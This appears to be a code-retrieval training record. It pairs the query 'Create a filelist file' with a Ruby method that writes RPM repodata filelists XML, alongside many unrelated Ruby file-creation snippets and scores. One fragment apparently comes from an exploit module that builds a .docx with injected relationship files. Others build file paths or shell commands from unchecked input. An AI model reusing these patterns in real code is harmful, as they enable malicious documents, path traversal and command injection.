files\n\t\tvprint_status(\"Adding skeleton files from #{data_dir}\")\n\t\tDir[\"#{data_dir}/**/**\"].each do |file|\n\t\t\tif not File.directory?(file)\n\t\t\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t\tend\n\t\tend\n\t\t#add on-the-fly created documents\n\t\tvprint_status(\"Adding injected files\")\n\t\tdocx.add_file(\"docProps/core.xml\", metadata_file_data)\n\t\tdocx.add_file(\"word/_rels/settings.xml.rels\", @rels_file_data)\n\t\t#add the otherwise skipped \"hidden\" file\n\t\tfile = \"#{data_dir}/_rels/.rels\"\n\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t#and lets create the file\n\t\tfile_create(docx.pack)\n\tend",
"def create(filename, text); end",
"def write\n make_parent_directory\n generate_file\n end",
"def create(filename = nil)\n filename = @doing_file if filename.nil?\n return if File.exist?(filename) && File.stat(filename).size.positive?\n\n FileUtils.mkdir_p(File.dirname(filename)) unless File.directory?(File.dirname(filename))\n\n File.open(filename, 'w+') do |f|\n f.puts \"#{Doing.setting('current_section')}:\"\n end\n end",
"def create(file, task, mode)\n\n file = File.open(file, mode)\n #file.write(task)\n file.puts(task)\n file.close\n\nend",
"def create_new_file(file_name)\n puts \"Creating %s...\" % [file_name]\n make_dir_for_path(file_name)\n new_file = File.new(file_name, File::WRONLY|File::TRUNC|File::CREAT)\n end",
"def create_file(filename, contents)\n File.open(filename, \"w\") do |file|\n file.write(contents)\n end\n end",
"def create_file(uid, info = {})\n content_type = Tus::Info.new(info).metadata[\"content_type\"]\n\n create_grid_file(\n filename: uid,\n content_type: content_type,\n )\n end",
"def createFile\n @header_string=self.configuration_file_header.to_s\n @bodyString=self.createBodyString\n @bodyString=@bodyString[0, @bodyString.size-2]\n if @bodyString==nil\n @bodyString=\"\" \n end\n \n @file_name = \"public/files/\"+self.name+\".rtf\"\n File.open(@file_name, \"w\") do |f| \n f.write(@header_string+\"\\n\"+@bodyString) \n end\n end",
"def create_file(file)\n @generic_file = GenericFile.new\n @generic_file.batch_id = object.batch.pid\n @generic_file.add_file(file.read, 'content', file.name)\n @generic_file.apply_depositor_metadata(object.edit_users.first)\n @generic_file.date_uploaded = Time.now.ctime\n @generic_file.date_modified = Time.now.ctime\n @generic_file.save\n end",
"def create_generic_file(resource_id)\n filename = Faker::File.file_name(dir: '', directory_separator: '')\n StashEngine::GenericFile.create(\n {\n original_filename: filename,\n upload_file_name: filename,\n resource_id: resource_id,\n upload_content_type: 'text/plain',\n upload_file_size: 31_726,\n status_code: 200,\n file_state: 'created',\n type: %w[StashEngine::DataFile StashEngine::SoftwareFile StashEngine::SuppFile][rand(3)]\n }\n )\n end",
"def create_locally\n write_file(@video_file, @video_name)\n write_file(@poster_file, @poster_name)\n end",
"def create(filename)\n time = Time.now\n @files[filename] = time\n puts \"#{filename} was created by #{@username} at #{time}.\"\n end",
"def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\n end",
"def create_file\n\n conditionCode = 0\n\n # Verify if we have a metadata\n if haspdumetadata? && haspdueof?\n\n # Write file\n writeLog(\"Checking to write file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Checking to write file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n\n begin\n\n Utils_visiona.writeFile(@pdus[\"METADATA\"].pduPayload.destinationFileName, @pdus[\"FILEDATA\"].dup)\n\n if File.size(@pdus[\"METADATA\"].pduPayload.destinationFileName) != @pdus[\"EOF\"].pduPayload.fileSize\n\n conditionCode = 6\n File.delete(@pdus[\"METADATA\"].pduPayload.destinationFileName) unless SAVE_FILE_UPON_ERROR\n elsif Utils_visiona.calculateFileChecksum(@pdus[\"METADATA\"].pduPayload.destinationFileName) != @pdus[\"EOF\"].pduPayload.fileChecksum\n\n conditionCode = 5\n File.delete(@pdus[\"METADATA\"].pduPayload.destinationFileName) unless SAVE_FILE_UPON_ERROR\n end\n rescue Exception => err\n\n conditionCode = 4\n CFDP::CFDP_Indication(\"Error while creating file. Error is #{err}.\\n Backtrace: #{err.backtrace}\")\n end\n\n if (conditionCode==0)\n\n CFDP::HKPacket.instance.eng_totalfilesrcvd+=1\n writeLog(\"Done writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Done writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n elsif SAVE_FILE_UPON_ERROR\n\n CFDP::HKPacket.instance.eng_totalfilesrcvd+=1\n writeLog(\"Done writing file with error #{CFDP.conditionCodeToStr(conditionCode)} \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Done writing file with error #{CFDP.conditionCodeToStr(conditionCode)} \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n else\n\n CFDP::HKPacket.instance.updateVar(conditionCode)\n writeLog(\"Error #{CFDP.conditionCodeToStr(conditionCode)} in writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Error #{CFDP.conditionCodeToStr(conditionCode)} in writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n end\n\n return conditionCode\n end\n end",
"def gen_file\n\t\t#\"./tmp/#{Date.today.strftime(\"%Y%m%d\")}.#{gen_process_number}.webform.file\"\n\t\tFile.join(Rails.root, 'tmp', \"#{Date.today.strftime(\"%Y%m%d\")}.#{gen_process_number}.webform.file\")\n\tend",
"def create_file(filename)\n # See zipfile branch in repository for zip file creation code.\n Dir.mkdir filename\n # TODO: Handle case where directory can't be created.\n end",
"def create!(path, _args_)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = main_file.camelize\n writer = SketchWriter.new(main_file)\n template = inner_class_template\n writer.save(template)\n end",
"def save_file\n FileUtils.mkdir_p(File.dirname(full_filename))\n FileUtils.cp(temp_path, full_filename)\n FileUtils.chmod(0644, full_filename)\n end",
"def maketempfile(prefix_suffix=nil, parent_dir=nil)\n Dir::Tmpname.create(prefix_suffix || \"f\", parent_dir || Dir.tmpdir) {|n| FileUtils.touch(n)}\n end",
"def create(filename)\n @filename = filename\n time = Time.now\n @@files[@filename] = time \n puts \"A new file: #{@filename} has been created by #{@username} at #{time}.\"\n end",
"def buildup_template_file(basename, header, hash)\n type = hash[:type] || :script\n filename = filename_for(basename, type)\n\n if File.exist? filename\n exit 0 unless prompt(\"* '#{filename}' already exists, overwrite it? (y/n): \") =~ /^y$/i\n end\n File.open(filename, \"w\") {|file|\n file << \"#!/usr/bin/env ruby\"\n file << \"\\n\"\n file << \"# coding: #{get_encoding}\"\n file << \"\\n\" * 2\n file << get_commented_text(header)\n file << \"\\n\" * 2\n\n case type\n when :script\n file << TEMPLATE_SCRIPT\n when :test\n file << TEMPLATE_TEST_UNIT\n when :rspec\n file << TEMPLATE_RSPEC\n end\n\n file.chmod SCRIPT_MOD\n\n puts \"* Successfully generated: #{filename}\"\n }\n end",
"def create_io_tmp(*args)\n path = File.join(storage_directory, args.join('-'))\n FileUtils.mkdir_p(File.dirname(path))\n t_file = File.open(path, 'w+')\n t_file.sync\n t_file\n end",
"def createFile(file,time)\n\t\tFile.open(file, \"w+\") do |f|\n\t\t\tf.print time\n\t\tend\n\tend",
"def creoarchivo(nom,promedio)\n\tfile = File.open(\"#{nom}\", 'w')\n\tfile.puts promedio\n\tfile.close\t\nend",
"def create_file(filename, content)\n Dir.chdir(@workdir_path) do\n FileUtils.mkdir_p(File.dirname(filename)) unless File.directory?(File.dirname(filename))\n File.open(filename, \"w\") { |file| file.write(content) }\n end\n end",
"def user_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n username = notey_notey_params['username']\n\n uri = \"/notebooks/#{username}_#{course}_#{file}\"\n base_file = \"/notebooks/#{course}_#{file}\"\n\n if File.exist?(base_file)\n File.open(base_file, 'rb') do |input|\n File.open(uri, 'wb') do |output|\n while (buff = input.read(4096))\n output.write(buff)\n end\n end\n end\n else\n render json: { result: false }\n end\n render json: { result: true }\n end",
"def create_file (file_path)\n \"touch '#{file_path}'\"\n end",
"def base_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n data = notey_notey_params['data']\n\n uri = \"/notebooks/#{course}_#{file}\"\n File.open(uri, 'wb') do |f|\n f.write(data)\n end\n render json: { result: true }\n end",
"def create(dest_file, filenames = [], options = {})\n\t\t\tWriter.new(filenames).write(dest_file, options)\n\t\tend",
"def make_file(fname)\r\n ext = File.extname(fname)\r\n\r\n i = 1\r\n while File.exist?(fname)\r\n # In case a file with the same name already exists\r\n fname = File.basename(fname, ext)\r\n fname = fname.sub(/\\d+$/, \"\") << i.to_s << ext\r\n\r\n i += 1\r\n end\r\n\r\n File.open(fname, \"a\")\r\n end",
"def file(name, template_name=nil, params=nil)\n @fileutils.touch(name)\n @file.open(name, 'w') do |f|\n f.puts write_contents(@templates.fetch(template_name), params) \n end unless template_name.nil? \n @output.write(\"created #{name}\")\n end",
"def create_file(override = false)\n dir = File.dirname(Constant::HIGHSCORE_FILE_NAME)\n\n # Create directory if not exist\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n\n # Fake open a file to create\n File.open(Constant::HIGHSCORE_FILE_NAME, override ? 'w' : 'a') {}\n end",
"def create_temp_file(params={})\n params = {:base => 'rand', :ext => '.pdf'}.merge(params)\n Tempfile.new([params[:base], params[:ext]], Rails.root.join(CONFIG[:pdftool_temp_dir])).path\n end",
"def create_data_file(resource_id)\n filename = Faker::File.file_name(dir: '', directory_separator: '')\n StashEngine::DataFile.create(\n {\n original_filename: filename,\n upload_file_name: filename,\n resource_id: resource_id,\n upload_content_type: 'text/plain',\n upload_file_size: 31_726,\n status_code: 200,\n file_state: 'created'\n }\n )\n end",
"def create_file\n\tfile = File.new\"hello_from_ruby.txt\",\"w\"\n\tputs \"-------------------------------------------\"\n\tputs \"Successfully created 'hello_from_ruby.txt'!\"\n\tputs \"-------------------------------------------\"\nend",
"def create(filename)\n time = Time.now\n @files[filename] = time # Updates the \"files\" hash with the timestamp for when the file was created\n puts \"The file #{filename} was created at #{time}\"\n end",
"def create_file(path, contents)\n dir = File.dirname(path)\n\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\n\n myfile = File.new(path, 'w+')\n myfile.print(contents)\n myfile.close\n\n \"#{path} created\"\n end",
"def create_file(path, contents)\n dir = File.dirname(path)\n\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\n\n myfile = File.new(path, 'w+')\n myfile.print(contents)\n myfile.close\n\n \"#{path} created\"\n end",
"def creator_upload(username, file_name, file)\r\n dir = \"creators/#{username}\"\r\n file.original_filename = file_name + (File.extname file.original_filename)\r\n return write(dir, file)\r\n end",
"def quick_make_file(local_file, tpl_file)\n current_file = local_file(local_file)\n template_file = @template.real_path(tpl_file)\n @template.make_file(\n template_file,\n current_file,\n @args.all.dup,\n make_data_files_array(current_file),\n method(:update_latest_options)\n )\n end",
"def makeFile filename, message\n making = File.open(filename, \"w\")\n making.puts(message)\n making.close\nend",
"def create_file_with_blog_metadata(title)\n filename = generate_filename(title)\n filepath = \"_posts/#{filename}\"\n\n raise 'The file already exists.' if File.exists?(filepath)\n\n blog_metadata = generate_metadata_for(title)\n File.write(filepath, blog_metadata)\n\n filepath\nend",
"def mkfile(relative_path, content: '')\n mkdir File.dirname(relative_path)\n filename = File.join self.tmpdir, relative_path\n File.open(filename, 'w') {|f| f << content}\n filename\n end",
"def stamp(primary_file, stamp_file, output); end",
"def create_temp_file\n write_to_temp_file current_data\n end",
"def write_file\n \n # if dirty?\n generate\n \n delete_file\n File.open(absolute_path.gsub(/\\.txt$/, \"\"), 'w+') do |f| \n f.write(generated_header)\n f.write(generated_content)\n end\n # not_dirty\n # end\n end",
"def create_file_ds(f, id= nil, label=nil)\n puts \"creating file ds for #{f} \"\n if id.nil? || id.empty?\n id = File.basename(f, File.extname(f)).gsub(\" \", \"-\")\n end\n if label.nil? || label.empty?\n label = File.basename(f, File.extname(f)).gsub(\" \", \"-\")\n end\n\n ActiveFedora::Datastream.new(:dsID=>id, :controlGroup=>\"M\" , :blob=>File.open(f), :dsLabel=>label)\n\n end",
"def new_file(filename = nil)\n\t name = filename || \"#{basename}.#{@io.size}.log\"\n\t io = File.new(name, 'w')\n\t Logfiles.write_prologue(io)\n\t @io << io\n\t streams.each_with_index do |s, i|\n\t\twrite_stream_declaration(i, s.name, s.type.name, registry.to_xml)\n\t end\n\tend",
"def create_secrete_file()\n\n payload = {\n \"admin_user\" => {\n \"username\" => @solr_admin_user,\n \"password\" => @solr_admin_password,\n },\n #TODO should the key be \"app_user\"\n @solr_app_user => {\n \"username\" => @solr_app_user,\n \"password\" => @solr_password\n }\n }\n\n # open and write to a file with ruby\n\n FileUtils.mkdir_p(@@secrete_dir, :mode => 0700)\n FileUtils.chown('app', 'app', @@secrete_dir)\n\n file_name = \"#{@@secrete_dir}/#{@@secrete_file_name}\"\n\n puts \"Creating the Solr secrete file: #{file_name}\"\n\n open(\"#{file_name}\", 'w') { |f|\n f.puts(payload.to_json)\n }\n\n FileUtils.chown('app', 'app', \"#{file_name}\")\n\n end",
"def dest_file\n @dest_file ||= File.join(root, \"bin\", \"#{Template.basename contents_template}.pdf\")\n end",
"def create\n\t type = @params[0].split('.')\n\n\t if type[1]\n\n\t if @params[1]\n\t FileUtils.touch(@params[1]+'/'+@params[0])\n\t else\n\t FileUtils.touch(@params[0])\n\t end\n\t else\n\t if @params[1]\n\t FileUtils::mkdir_p @params[1]+'/'+@params[0]\n\t else\n\t FileUtils::mkdir_p @params[0]\n\t end\n\t end\n\t end",
"def create\n File.open(@db_file, \"w\" ) do |file|\n end\n end",
"def create_file\n project = UserFile.publication_project!(current_user, @scope)\n\n api = DIContainer.resolve(\"api.user\")\n file_dxid = api.file_new(params[:name], project)[\"id\"]\n\n file = UserFile.create!(\n dxid: file_dxid,\n project: project,\n name: params[:name],\n state: \"open\",\n description: params[:description],\n user: current_user,\n parent: current_user,\n scope: @scope,\n UserFile.scope_column_name(@scope) => @folder&.id,\n )\n\n render json: { id: file.uid }\n end",
"def create_file(path, contents)\n full_path = ::File.join(destination_root, path)\n mkdir_p(::File.dirname(full_path))\n ::File.open(full_path, 'w') {|f| f.write(contents) }\n end",
"def write_file filename,content\n mkdir_p(File.dirname(filename),:verbose=>false)\n File.open(filename, 'wb') {|f| f.write(content) }\n end",
"def createNewBook(path)\n puts \"Create New Book\"\n\n #1 Call encryptor\n runEncryptor(path+\"output/ihtml/\",@book_prod_folder)\n \n #2 Copy searchDB.sql to root path\n copyFile(path+\"output/searchDB.sql\", @book_prod_folder)\n \n #3 Copy info.plist to root path\n copyFile(path+\"info.plist\", @book_prod_folder)\n \n #4 Update time stamp\n changeTimestamp(@book_prod_folder,@new_book_timestamp)\n \n #5 Create Zip\n createZip(@book_prod_folder,@book_prod_final_zip_folder+@book_full_name+\".zip\")\nend",
"def write(pid = Process.pid)\n FileUtils.makedirs(File.dirname(file_name))\n IO.write(file_name, pid.to_s)\n end",
"def create\n file = Tempfile.new(\"oneimage-#{resource[:name]}\")\n File.chmod(0644, file.path)\n\n template = ERB.new <<-EOF\nNAME = \"<%= resource[:name] %>\"\n<% if resource[:description] %>DESCRIPTION = \"<%= resource[:description] %>\"<% end%>\n<% if resource[:type] %>TYPE = <%= resource[:type].upcase %><% end%>\n<% if resource[:persistent] %>PERSISTENT = <%= resource[:persistent] %><% end%>\n<% if resource[:dev_prefix] %>DEV_PREFIX = \"<%= resource[:dev_prefix] %>\"<% end%>\n<% if resource[:driver] %>DRIVER = \"<%= resource[:driver] %>\"<% end %>\n<% if resource[:path] %>PATH = <%= resource[:path] %><% end%>\n<% if resource[:source] %>SOURCE = <%= resource[:source] %><% end%>\n<% if resource[:fstype] %>FSTYPE = <%= resource[:fstype] %><% end%>\n<% if resource[:size] %>SIZE = <%= resource[:size] %><% end%>\nEOF\n\n tempfile = template.result(binding)\n self.debug \"Creating image using tempfile: #{tempfile}\"\n file.write(tempfile)\n file.close\n output = \"oneimage create -d #{resource[:datastore]} #{file.path} \", self.class.login\n `#{output}`\n end",
"def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\nend",
"def make_file filepath, content, options={}\n\n temp_filepath =\n \"#{TMP_DIR}/#{File.basename(filepath)}_#{Time.now.to_i}#{rand(10000)}\"\n\n File.open(temp_filepath, \"w+\"){|f| f.write(content)}\n\n self.upload temp_filepath, filepath, options\n\n File.delete(temp_filepath)\n end",
"def create_backdat_file\n puts \"Creating backdat file\"\n end",
"def create_document(name, content = \"\")\n File.open(File.join(data_path, name), \"w\") do |file|\n file.write(content)\n end\n end",
"def create_document(name, content = \"\")\n File.open(File.join(data_path, name), \"w\") do |file|\n file.write(content)\n end\n end",
"def create_primary\n v_stream = [88,1,76,\"{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}\".bytes.to_a].flatten\n v_stream.concat [78, \"Microsoft.Container.EncryptionTransform\".bytes.to_a,0,1,1,1,4].flatten\n v_stream = v_stream.pack PRIMARY_PACKING\n Storage.new([6].pack(\"c\")+\"Primary\", :data=>v_stream)\n end",
"def create_own_results_file(filename,output)\n # Create a blank file and put the output in\n self.create_file(\"#{filename}\", output)\n end",
"def get_attach_file_name staff_id_hash, serial_number, base_url\n\n f = File.open(\"#{Rails.root}/lib/tasks/doc_template/template.doc\")\n doc = ''\n\n f.each do |line|\n doc += line\n end\n f.close\n\n # insert staff_id serial number into doc file\n new_doc = doc.gsub(/%URL%/, base_url.gsub(/%TYPE%/, SendMember::TYPE_FILE_OPEN))\n file_name = \"#{Rails.root}/lib/tasks/doc_template/send/#{Staff.decrypt(staff_id_hash)}_#{serial_number}.doc\"\n f = File.open(file_name, 'w')\n f.write new_doc\n f.close\n\n file_name\n end",
"def create\n FileUtils.mkdir_p path\n end",
"def create_file(type)\n cb_file, source_file = get_locations(type)\n\n File.open(cb_file, 'w') { |f| f.write(process_template(source_file)) }\n\n if @opts[:verbose]\n Souschef::Print.info \"Creating Testkitchen #{type} configuration\"\n end\n rescue TypeError\n Souschef::Print.error 'SKipping'\n end",
"def new_file(new_name=false, body)\n f_name = new_name || file_name_with_path\n File.open(f_name, \"w\") { |line|\n line.write(body)\n line\n }\n end",
"def create_file(path, size)\n FileUtils.mkdir_p(File.dirname(path))\n @file = File.open(path, File::CREAT | File::EXCL | File::RDWR) \n @file.truncate(size)\n write_tail(@file, 4) # 4 is a size of long type.\n end",
"def generate(file_name,template,map, overwrite = true)\r\n # make sure the package folder exists\r\n pkg_path = (map['package'] || '').gsub('.','/') \r\n FileUtils.makedirs \"#{target}/#{pkg_path}\"\r\n File.open(\"#{target}/#{pkg_path}/#{file_name}\",'w') do |f|\r\n f << self.process_template(template,map)\r\n log \">> writing #{f.path}\"\r\n end #file\r\n end",
"def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? class_template : class_template_mode\n writer.save(template)\n end",
"def new_file(source,code)\n fileHtml = File.new(source, \"w+\")\n result = true\n begin\n fileHtml.puts code\n rescue\n result = false\n ensure\n fileHtml.close unless fileHtml.nil?\n end\n #return true if file was succesfully created\n result\n end",
"def makeNewFilename\n # note use of hard coded 6 digit counter width - is this enough files?\n pad = \"0\" * (6 - @count.to_s.length) + count.to_s\n newbase = @baseFilename.sub(/(\\.\\w*)$/, pad + '\\1')\n @filename = File.join(File.dirname(@filename), newbase)\n Logger.log_internal {\"File #{@filename} created\"}\n end",
"def create_file(uid, info = {})\n tus_info = Tus::Info.new(info)\n\n options = upload_options.dup\n options[:content_type] = tus_info.metadata[\"content_type\"]\n\n if filename = tus_info.metadata[\"filename\"]\n # Aws-sdk-s3 doesn't sign non-ASCII characters correctly, and browsers\n # will automatically URI-decode filenames.\n filename = CGI.escape(filename).gsub(\"+\", \" \")\n\n options[:content_disposition] ||= \"inline\"\n options[:content_disposition] += \"; filename=\\\"#{filename}\\\"\"\n end\n\n multipart_upload = object(uid).initiate_multipart_upload(options)\n\n info[\"multipart_id\"] = multipart_upload.id\n info[\"multipart_parts\"] = []\n\n multipart_upload\n end",
"def config_creates_file(_new_resource)\n return 'Makefile'\n end",
"def config_creates_file(_new_resource)\n return 'Makefile'\n end",
"def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? emacs_template : emacs_template_mode\n writer.save(template)\n end",
"def write( filename, contents )\n if File.exists? filename\n puts \"#{filename} already exists\"\n else\n puts \"Creating #{filename}\"\n ::File.open( filename, \"w\" ){ |f| f.write contents }\n end\nend",
"def CreateFile(filename)\n @tomerge = Builtins.add(@tomerge, filename)\n Builtins.y2milestone(\"Created default rules: %1\", @tomerge)\n nil\n end",
"def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end",
"def create_file(source:, filename:, content:, permission: nil)\n body = { dest_file: \"#{source}:#{filename}\",\n content: content,\n api_key: @api_key\n }\n if !permission.nil?\n body['force_permission'] = permission\n end\n\n response = HTTParty.post(\"#{@host}/create_file\", body: body)\n\n return response.success?\n end",
"def create_file(name, data = nil)\n @caldav_backend.create_scheduling_object(@principal_uri, name, data)\n end",
"def create_object(dir_name, content, attributes, identifier)\n # Determine path\n path = dir_name + identifier\n parent_path = File.dirname(path)\n\n # Notify\n Nanoc::NotificationCenter.post(:file_created, path)\n\n # Write object\n FileUtils.mkdir_p(parent_path)\n File.open(path, 'w') do |io|\n unless attributes == {}\n attributes = attributes.stringify_keys_recursively\n io.write(YAML.dump(attributes).strip + \"\\n\")\n io.write(\"---\\n\\n\")\n end\n io.write(content)\n end\n end"
] |
[
"0.6727614",
"0.6698845",
"0.6696226",
"0.65995675",
"0.65915596",
"0.65837497",
"0.6559477",
"0.6495174",
"0.6482452",
"0.64817536",
"0.64756376",
"0.6470696",
"0.6460598",
"0.64331454",
"0.64207685",
"0.6401803",
"0.63839376",
"0.6369327",
"0.63344496",
"0.63114244",
"0.63102514",
"0.6303009",
"0.62999326",
"0.6257896",
"0.6250672",
"0.6245806",
"0.6242924",
"0.6234638",
"0.6188608",
"0.6181828",
"0.6147136",
"0.61455274",
"0.61452055",
"0.6133004",
"0.6132593",
"0.6129655",
"0.6127454",
"0.6124206",
"0.61084795",
"0.6075806",
"0.6064934",
"0.6064514",
"0.60483605",
"0.6036491",
"0.6035294",
"0.6022415",
"0.6022108",
"0.60207796",
"0.6014652",
"0.60094744",
"0.60092753",
"0.5998887",
"0.5994909",
"0.5985834",
"0.5985834",
"0.5981822",
"0.5970373",
"0.59609735",
"0.59551805",
"0.5940851",
"0.5932348",
"0.5930198",
"0.59238774",
"0.59092605",
"0.5907738",
"0.5900513",
"0.58892894",
"0.58878124",
"0.58842117",
"0.5883272",
"0.5877309",
"0.5873012",
"0.58696556",
"0.5868499",
"0.5868161",
"0.5862481",
"0.58520776",
"0.58506906",
"0.58493745",
"0.58493745",
"0.5841839",
"0.5831504",
"0.58191246",
"0.5814583",
"0.5813639",
"0.58129734",
"0.580884",
"0.58065724",
"0.5802865",
"0.5795559",
"0.5794194",
"0.57938784",
"0.578592",
"0.578592",
"0.57846546",
"0.5781517",
"0.57634294",
"0.57614714",
"0.5755228",
"0.57467765",
"0.5746672"
] |
0.0
|
-1
|
Create a filelist file
|
def filelist_file(origin_name, dist_name, component_name, packages)
content = {
"filelists" => {
:@xmlns => XMLNS_MAP[:filelists],
:@packages => packages.size,
:package => packages.map { |package|
{
:@pkgid => package[:generated_sha],
:@name => package["NAME"],
:@arch => package["ARCH"],
:version => {
:@epoch => package["EPOCHNUM"],
:@ver => package["VERSION"],
:@rel => package["RELEASE"].split(".").first,
},
:file => (package["FILENAMES"] + package["DIRNAMES"]).map { |dir|
{:@type => "dir", :_content_ => dir}
},
}
},
},
}
args = [origin_name, dist_name, component_name, "repodata", "filelists.xml"]
[
create_file(*args) do |file|
file.puts generate_xml(content)
end,
compress_file(*args),
]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_list\n end",
"def build_volume_list_file(volume_list, path)\n File.write(path, volume_list.join(\"\\n\"))\n end",
"def write_filelist(out_file_list)\n result_list.each{|f| log f}\n File.open(out_file_list, \"w\") do |file|\n result_list.each do |item| \n file << item\n file << \"\\n\"\n end\n log \"File list created #{out_file_list}\"\n end \n end",
"def write_filelist(out_file_list)\n result_list.each{|f| log f}\n File.open(out_file_list, \"w\") do |file|\n result_list.each do |item| \n file << item\n file << \"\\n\"\n end\n log \"File list created #{out_file_list}\"\n end \n end",
"def write_file_list\n if EventMachine.reactor_thread? || !@update_lock.locked?\n raise 'Should not write file list in reactor thread or without' \\\n ' the local list lock!'\n end\n\n FileUtils.mkdir_p config.config_dir\n @local_file_list.root['CID'] = SecureRandom.hex(12).upcase\n output = @local_file_list.to_s(:indent => true)\n Bzip2::Writer.open(local_file_list_path, 'wb') { |f| f << output }\n @share_size = nil\n\n output = Marshal.dump([@local_file_info, @shared_directories])\n File.open(cache_file_list_path, 'wb'){ |f| f << output }\n end",
"def generate_file_list\n self.file_list = Concurrent::Array.new\n targets.each do |target|\n add_target(target)\n end\n end",
"def create_lists\n pid_files_dir = Rails.root.join('tmp', 'external_files_conversion', timestamp)\n FileUtils.mkdir_p pid_files_dir\n file_path = \"#{pid_files_dir}/large_objects.txt\"\n File.open(file_path, 'w') { |file| file.puts(large_objects) }\n lists_of_pids = small_objects.each_slice(NUMBER_OF_PIDS_PER_FILE).to_a\n lists_of_pids.each_with_index do |list, index|\n file_path = \"#{pid_files_dir}/#{index}.txt\"\n File.open(file_path, 'w') { |file| file.puts(list) }\n pid_lists << file_path\n end\n end",
"def test_list_file(basename)\n FilePath.new(build_module.root, \"%s.lists.%s\" % [ name, basename ])\n end",
"def file_list\n @file_list\n end",
"def formatted_file_list(title, source_files); end",
"def writePlist\n\t\tFile.open(\"#{@outdir}/PLIST\", \"w\") do |plist|\n\t\t\t@finalFiles.each do |line|\n\t\t\t\tline = line.chomp\n\n\t\t\t\tok = true\n\t\t\t\tif @options[:missing_files] == false then\n\t\t\t\t\tfiletlm = @options[:tlmaster] + \"/\" + line\n\t\t\t\t\tif (File.exist?(filetlm.chomp) == false) then\n\t\t\t\t\t\tok = false\n\t\t\t\t\t\tputs \"*warning: missing file ignored: \" + filetlm\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ok then\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + line + \"\\n\"\n\t\t\t\t\tif @options[:add_dirs] then\n\t\t\t\t\t\taddDir(line)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# add directory entries to satisfy openbsd pkgtools\n\t\t\tif @options[:add_dirs] then\n\t\t\t\t@dirList.each do |file|\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + file + \"/\\n\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def list\n @file_list.to_a\n end",
"def new_files; end",
"def create_data_file(list)\n cmd = \"wgrib2\"\n path = \"../datameteofrance/arome-france-hd_20210919_12_TMP_2m_0h.grib2\"\n options = \"-nl\"\n res = `#{cmd} #{path} #{list} #{options}`\nend",
"def make_sliced_file(flist)\n flist_sliced = []\n flist.each_with_index do |v, i|\n # 開始時のファイルはスライスしない\n if i == 0\n flist_sliced << v\n else\n tmp_file = \"/tmp/sound_#{i}.mp3\"\n silent_files = (Sound::SILENT_FILE_PATH + \" \") * i\n cmd = \"sox #{silent_files} #{v} #{tmp_file}\"\n result = `#{cmd}`\n flist_sliced << tmp_file\n end\n end\n return flist_sliced\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def list_2_file (list,file)\n\t\tputs \"Save list #{list} to plain file #{file}\" if @verbose\n\t\tbegin\n\t\t\tf = File.open(file, \"w\")\n\t\t\tlist.map do |ent|\n\t\t\t\t#ent.strip!\n\t\t\t\t# Append the unix line break\n\t\t\t\tf.write(\"#{ent}\\n\")\n\t\t\tend\n\t\t\tf.close\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{file}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def files=(list)\n @files = makelist(list)\n end",
"def fls(file)\n end",
